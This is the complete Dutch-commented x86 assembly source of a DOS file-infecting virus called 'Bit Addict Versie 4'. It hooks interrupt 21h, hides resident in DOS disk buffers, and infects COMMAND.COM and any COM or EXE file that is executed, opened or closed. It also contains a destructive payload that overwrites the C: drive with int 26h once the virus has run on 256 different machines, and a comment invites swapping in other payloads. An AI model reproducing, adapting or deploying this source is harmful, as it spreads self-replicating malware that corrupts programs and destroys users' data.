; Bit Addict Versie 4 ;----------------------------------------------------------------------------- ;----- ----- ;----- Macros en andere hulpmiddellen ----- ;----- ----- ;----------------------------------------------------------------------------- ; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter ; wordt dan 128 bytes en er dus een foutmelding komt dfn macro Num1,Num2 db Num1 dw offset Num2 endm jmpc macro Dest ; vervanging voor jc local @@00 jnc @@00 jmp Dest @@00: endm jmpnc macro Dest ; vervanging voor jnc local @@00 jc @@00 jmp Dest @@00: endm jmpe macro Dest ; vervanging voor je local @@00 jnz @@00 jmp Dest @@00: endm jmpne macro Dest ; vervanging voor jne local @@00 jz @@00 jmp Dest @@00: endm eseg segment mov ax,4c00h ; exit int 21h eseg ends ;----------------------------------------------------------------------------- ;----- ----- ;----- Begin van het Bit Addict virus ----- ;----- ----- ;----------------------------------------------------------------------------- cseg segment assume cs:cseg,ds:cseg,es:cseg org 0 BeginCode equ $ ; begin van het virus CodeSize equ CodeEnd-BeginCode ; de grootte van het CodeSizePara equ (CodeEnd-BeginCode+0fh) / 10h ; virus achter een file VirusSize equ VirusEnd-BeginCode ; de grootte van het VirusSizePara equ (VirusEnd-BeginCode+0fh) / 10h ; virus in het geheugen HeaderLength equ 18h ; grootte van een SavedCode equ this byte ; gegevens over het OldSignature dw 5a4dh ; programma voor het OldCSIP equ this dword ; virus OldIP dw 0 OldCS dw 0 OldSP dw 200h OldSS dw 0 OldPartPage dw 0 OldPageCount dw 0 Begin: push ax ; Programma om het virus push ds ; resident te laten blijven push es ; en om de comspec te call Init ; infecteren jnc @@12 call BiosCheck ; Als bit addict op een andere push cs ; computer draait wordt er een pop es ; teller verhoogt. xor al,al mov cx,VirusSize-CodeSize ; zet alle variabelen op nul mov di,CodeSize cld rep stosb ; debug interrupt 21h om het call DebugOn ; orginele interrupt te vinden mov ah,52h call DOS ; lees het adres van de eerste push bx ; disk-buffer mov ah,30h call DOS pop di call DebugOff cmp al,2 ; dit werkt niet op dos 1.x jb @@12 cmp al,3 ; voor dos 2.x op di+13h en adc di,12h ; voor dos 3+ op di+12h lds si,es:[di] or si,si jne @@12 push di cld movsw ; reserveer 1e buffer movsw pop di mov cx,ds mov dx,ds mov bx,3 @@10: call GetBuffer ; reserveer 2e,3e en 4e jc @@11 ; buffer dec bx jne @@10 call CopyBitAddict ; Copieer bit addict naar pop es ; de buffers push es ; Infecteer bestand in de call InfectComspec ; comspec jmp short @@12 @@11: call RestoreBuffers ; voor als het fout gaat @@12: pop es pop ds ; ga nu verder met het pop ax ; programma voor Bit Addict cli mov ss,cs:OldSS mov sp,cs:OldSP sti jmp cs:OldCSIP Comspec db 'COMSPEC=' ; comspec environment variabele ; om de command.com te vinden ID dw 0DEADh ; hier wordt het virus herkend ; als het in het geheugen staat Count dw 0 ; In deze variabele staat op ; hoeveel verschillende ; computers het virus is ; geweest Bios db 10h dup(0) ; Gegevens over de bios, ; door dit te vergelijken met ; de bios kan het virus weten ; of het virus op een andere ; computer draait GetBuffer: ; reserveer een buffer push di ; cx = eerste buffer push es ; dx = laatste buffer jmp short @@21 @@20: push ds ; zoek een buffer die naast een pop es ; gereserveerde buffer ligt, dus mov di,si ; 21h voor cx, of 21h na dx. @@21: lds si,es:[di] or si,si jne @@23 mov ax,ds sub ax,dx cmp ax,21h jne @@22 mov dx,ds cld movsw movsw clc jmp short @@24 @@22: mov ax,ds sub ax,cx cmp ax,-21h jne @@20 mov cx,ds cld movsw movsw clc jmp short @@24 @@23: stc @@24: pop es pop di ret CopyBitAddict: push cs ; copieer Bit Addict naar de pop ds ; gereserveerde buffers mov es,cx xor si,si xor di,di mov cx,VirusSize cld rep movsb xor ax,ax ; leid interrupt 21h om naar mov ds,ax ; Bit Addict mov word ptr ds:[84h],offset NewInt21 mov word ptr ds:[86h],es ret InfectComspec: mov es,es:[2ch] ; lees environment segment xor di,di push cs ; zoek naar de comspec pop ds ; variabele mov si,offset Comspec @@30: push si push di mov cx,8 cld repe cmpsb pop di pop si je @@31 xor al,al mov cx,-1 cld repne scasb cmp byte ptr es:[di],0 ; is dit de laatste variabele ? jne @@30 jmp short @@33 @@31: push es ; infecteer de COMMAND.COM of pop ds ; andere command interpreter, cmp byte ptr ds:[di+9],':' ; maar doe dit alleen wanneer jne @@32 ; de comspec naar de c of de mov al,ds:[di+8] ; d-drive wijst. and al,0dfh cmp al,'C' je @@32 cmp al,'D' jne @@33 @@32: lea dx,[di+8] push cs:OldIP ; bewaar alle variabelen die push cs:OldCS ; we nog nodig hebben. push cs:OldSP push cs:OldSS call Infect ; infecteren pop cs:OldSS ; herstel alle variabelen die pop cs:OldSP ; we nog nodig hebben pop cs:OldCS pop cs:OldIP @@33: ret RestoreBuffers: ; wanneer er niet genoeg mov ax,cx ; buffers zijn, zet dan de @@40: cmp ax,dx ; buffers weer terug in de je @@42 ; keten, anders zal het mov ds,ax ; systeem hangen. add ax,21h mov word ptr ds:[0],0 mov word ptr ds:[2],ax jmp short @@40 @@42: mov ds,dx mov ax,es:[di] mov ds:[0],ax mov word ptr es:[di],0 mov ax,es:[di+2] mov ds:[2],ax mov es:[di+2],cx ret DebugOn:push ax ; deze procedere is om de push ds ; trap-flag te zetten, en xor ax,ax ; interrupt 1 te initialiseren mov ds,ax cli mov ax,ds:[4h] mov word ptr cs:OldInt1[0],ax mov ax,ds:[6h] mov word ptr cs:OldInt1[2],ax mov word ptr ds:[4],offset NewInt1 mov word ptr ds:[6],cs mov ax,ds:[84h] mov word ptr cs:OldInt21[0],ax mov ax,ds:[86h] mov word ptr cs:OldInt21[2],ax mov word ptr cs:DosInt21[0],0 mov word ptr cs:DosInt21[2],0 pushf pop ax or ah,1 push ax popf sti pop ds pop ax ret DebugOff: ; deze procedure zet de push ax ; trap-flag weer op nul en push ds ; herstelt interrupt 1. cli pushf pop ax and ah,0feh push ax popf xor ax,ax mov ds,ax mov ax,word ptr cs:OldInt1[0] mov ds:[4],ax mov ax,word ptr cs:OldInt1[2] mov ds:[6],ax sti pop ds pop ax ret Init: push cs pop ds cmp OldSignature,5a4dh je @@50 mov si,offset SavedCode ; herstel begin van het mov di,100h ; com-programma mov cx,Dead-ComHeader+2 cld rep movsb mov OldSS,ss ; bewaar de waarden van mov OldSP,sp ; ss,sp,cs en ip sub OldSP,10h mov OldCS,es mov OldIP,100h jmp short @@51 @@50: mov ax,es ; bereken de waarden van add ax,10h ; ss,sp,cs en ip add OldCS,ax add OldSS,ax @@51: mov ax,4b40h ; controleer of Bit Addict al int 21h ; in het geheugen aanwezig is jc @@52 mov ds,ax mov ax,word ptr ds:ID ; vergelijk identificatie cmp ax,word ptr cs:ID je @@52 stc @@52: ret BiosCheck: ; deze procedure vergelijkt mov ax,0ffffh ; de bios, met de gegevens mov ds,ax ; over de bios in het virus, push cs ; zijn deze niet gelijk, dan pop es ; zal het virus op een andere xor si,si ; computer draaien, en wordt mov di,offset Bios ; er een teller verhoogt, komt mov cx,10h ; deze teller boven de 255 dan cld ; zal het bit-addict virus repe cmpsb ; actief worden. je @@54 mov ax,cs:Count inc ax cmp ax,100h jb @@53 call BitAddict @@53: mov cs:Count,ax xor si,si mov di,offset Bios mov cx,10h rep movsb @@54: ret BitAddict: ; in deze procedure wordt xor dx,dx ; de c-drive overscreven met @@55: push dx ; onzin, dit mag verandert mov ax,3 ; worden, om het virus iets xor bx,bx ; anders te laten doen, een mov cx,40h ; muziekje spelen, of met het int 26h ; toetsenbord spelen pop ax ; bijvoorbeeld. pop dx add dx,40h or dx,dx jne @@55 ret NewInt1:push bp ; deze procedure wordt mov bp,sp ; gebruikt bij het debuggen push ax mov ax,word ptr cs:DosInt21[0] or ax,word ptr cs:DosInt21[2] jnz @@60 cmp word ptr ss:[bp+4],300h jae @@61 mov ax,ss:[bp+2] mov word ptr cs:DosInt21[0],ax mov ax,ss:[bp+4] mov word ptr cs:DosInt21[2],ax @@60: and word ptr ss:[bp+6],0feffh @@61: pop ax pop bp iret DOS: push ax ; roept interrupt 21h aan. mov ax,word ptr cs:DosInt21[0] or ax,word ptr cs:DosInt21[2] pop ax jnz @@62 pushf call cs:OldInt21 ret @@62: pushf call cs:DosInt21 ret Functions: ; dit is een tabel met alle dfn 3ch,Open ; dos-functies die door dfn 3dh,Open ; bit-addict verandert worden dfn 3eh,Close dfn 3fh,Read dfn 40h,Write dfn 4bh,Exec NewInt21: ; Het nieuwe interrupt 21h pushf push bx push bp mov bp,sp mov bx,offset Functions @@63: cmp ah,cs:[bx] je @@68 add bx,3 cmp bx,offset NewInt21 jne @@63 pop bp pop bx EOI: popf jmp cs:OldInt21 @@68: mov bx,cs:[bx+1] xchg bx,ss:[bp+2] pop bp ret InstallCheck: ; Zo kan bit addict weten mov ax,cs ; dat er al een andere copy popf ; aanwezig is clc retf 2 Exec: cmp al,40h je InstallCheck call CheckExtension ; functie 4bh, infecteer eerst jc EOI ; met Bit Addict popf push dx push ds pushf call cs:OldInt21 pop ds pop dx pushf call Infect popf retf 2 Open: call CheckExtension ; fn 3ch en 3dh jc EOI call cs:OldInt21 jc @@92 pushf push ax push cx push si push di push es push cs pop es mov si,dx mov di,offset File1 cmp word ptr es:[di],0 je @@90 mov di,offset File2 cmp word ptr es:[di],0 jne @@91 @@90: cld stosw mov cx,70 rep movsb @@91: pop es pop di pop si pop cx pop ax popf @@92: retf 2 Close: cmp bx,cs:File1 ; fn 3eh je @@93 cmp bx,cs:File2 jne EOI call cs:OldInt21 push si mov si,offset File2 jmp short @@94 @@93: call cs:OldInt21 push si mov si,offset File1 @@94: jc @@95 pushf push dx push ds push cs pop ds lea dx,[si+2] call Infect pop ds pop dx popf @@95: mov word ptr cs:[si],0 pop si retf 2 Read: jmp EOI ; fn 3fh Write: jmp EOI ; fn 40h CheckExtension: ; controleer of de extensie push ax ; wel exe of com is push cx push si push di push es push ds pop es mov di,dx ; zoek het einde van de xor al,al ; file-naam mov cx,70 cld repne scasb jne @@65 std mov al,'.' ; zoek de laatste punt neg cx add cx,70 std repne scasb jne @@65 lea si,[di+2] cld lodsw ; eerste 2 letters and ax,0dfdfh ; maak hoofdletters cmp ax,5845h ; 'EX' je @@64 cmp ax,4f43h ; 'CO' jne @@65 lodsb ; 3e letter and al,0dfh cmp al,4dh ; 'M' je @@66 jmp short @@65 @@64: lodsb ; 3e letter and al,0dfh cmp al,45h ; 'E' je @@66 @@65: stc jmp short @@67 @@66: clc @@67: pop es pop di pop si pop cx pop ax ret ComHeader: ; dit stukje wordt voor een mov ax,cs ; COM-file geplaatst, en is om add ax,0100h ; het virus te starten. OldSize equ this word-2 push ax mov ax,offset Begin push ax retf Dead equ $ dw 0DEADh ; signature, om te controleren ; of een file al eens eerder ; besmet is. Infect: push ax ; Infecteer een file push bx push cx push si push di push bp push es mov ax,4300h ; lees attributen en bewaar call DOS ; ze jmpc @@83 push cx push dx push ds test cx,1 jz @@71 mov ax,4301h ; set Read-Only attribuut and cx,0fffeh ; op nul call DOS jmpc @@82 @@71: mov ax,3d02h ; open de file call DOS jmpc @@82 mov bx,ax mov ax,5700h ; lees de datum en tijd en call DOS ; bewaar ze jmpc @@81 push cx push dx push cs ; ds=es=cs pop ds push cs pop es mov ah,3fh ; lees de header van de file mov cx,HeaderLength mov dx,offset Header call DOS jmpc @@80 cmp ax,HeaderLength jne @@75 cmp Signature,5a4dh ; Controleer of ID aanwezig is jne @@72 cmp ExeID,0DEADh jmp @@73 @@72: cmp ComID,0DEADh @@73: jmpe @@80 ; als ID aanwezig is, stop dan @@74: cmp Signature,5a4dh je @@77 @@75: mov ax,4202h ; infecteer com-files xor cx,cx ; ga naar het einde van de file xor dx,dx call DOS mov cx,10h ; aanpassen van de com-header div cx ; aan deze com-file or dx,dx je @@76 push ax mov ah,40h mov cx,10h sub cx,dx xor dx,dx call DOS pop ax jmpc @@80 inc ax @@76: add ax,10h mov OldSize,ax mov si,offset Header ; bewaar het eerste deel van mov di,offset SavedCode ; het programma mov cx,Dead-ComHeader+2 cld rep movsb mov ah,40h ; schrijf het virus achter het mov cx,CodeSize ; programma xor dx,dx call DOS jmpc @@80 mov ax,4200h ; ga naar het begin van de file xor cx,cx xor dx,dx call DOS jmpc @@80 mov ah,40h ; overschrijf het begin van het mov cx,Dead-ComHeader+2 ; programma met de com-header mov dx,offset ComHeader call DOS jmp @@80 @@77: mov di,offset SavedCode ; infecteer exe-files mov ax,5a4dh ; bewaar de oude waarden van stosw ; cs:ip en ss:sp mov ax,ExeIP stosw mov ax,ExeCS stosw mov ax,ExeSP stosw mov ax,ExeSS stosw mov ax,PartPage stosw mov ax,PageCount stosw mov ExeID,0DEADh ; Zet ID in exe-header mov ax,4202h xor cx,cx xor dx,dx int 21h mov cx,10h div cx or dx,dx je @@78 push ax push dx mov ah,40h mov cx,10h sub cx,dx xor dx,dx call DOS pop dx pop ax jc @@80 inc ax @@78: sub ax,HeaderSize mov ExeCS,ax mov ExeIP,offset Begin add ax,VirusSizePara mov ExeSS,ax mov ExeSP,200h mov ax,MinMem cmp ax,20h+VirusSizePara-CodeSizePara jae @@79 mov ax,20h @@79: mov MinMem,ax mov ah,40h ; schrijf het virus achter mov cx,CodeSize ; de exe-file xor dx,dx call DOS jc @@80 mov ax,4202h ; Pas de file-lengte in de xor cx,cx ; header aan, als de file veel xor dx,dx ; overlays bevat, dan zal de call DOS ; exe-file niet meer werken, mov cx,200h ; maar de file kan wel hersteld div cx ; worden. cmp dx,1 cmc adc ax,0 mov PageCount,ax mov PartPage,dx mov ax,4200h xor cx,cx xor dx,dx ; ga naar het begin van de file call DOS jc @@80 mov ah,40h ; schrijf de nieuwe exe-header mov cx,HeaderLength ; over de oude heen. mov dx,offset Header call DOS @@80: pop dx ; herstel de datum van de file pop cx mov ax,5701h call DOS @@81: mov ah,3eh ; sluit de file call DOS @@82: pop ds ; herstel de attributen van de pop dx ; file pop cx test cx,1 jz @@83 mov ax,4301h call DOS @@83: pop es ; herstel de waarden van de pop bp ; registers en keer terug pop di ; naar het oude interrupt 21 pop si pop cx pop bx pop ax ret CodeEnd equ $ Header dw HeaderLength/2 dup(0) ComCS equ Header[OldSize-Comheader] ; Com file ComID equ Header[Dead-ComHeader] Signature equ Header[0h] ; Exe file PartPage equ Header[2h] PageCount equ Header[4h] HeaderSize equ Header[8h] MinMem equ Header[0ah] MaxMem equ Header[0ch] ExeSS equ Header[0eh] ExeSP equ Header[10h] ExeID equ Header[12h] ExeIP equ Header[14h] ExeCS equ Header[16h] DosInt21 dd 0 OldInt21 dd 0 OldInt1 dd 0 File1 dw 36 dup(0) File2 dw 36 dup(0) VirusEnd equ $ cseg ends sseg segment stack db 200h dup(1) sseg ends end Begin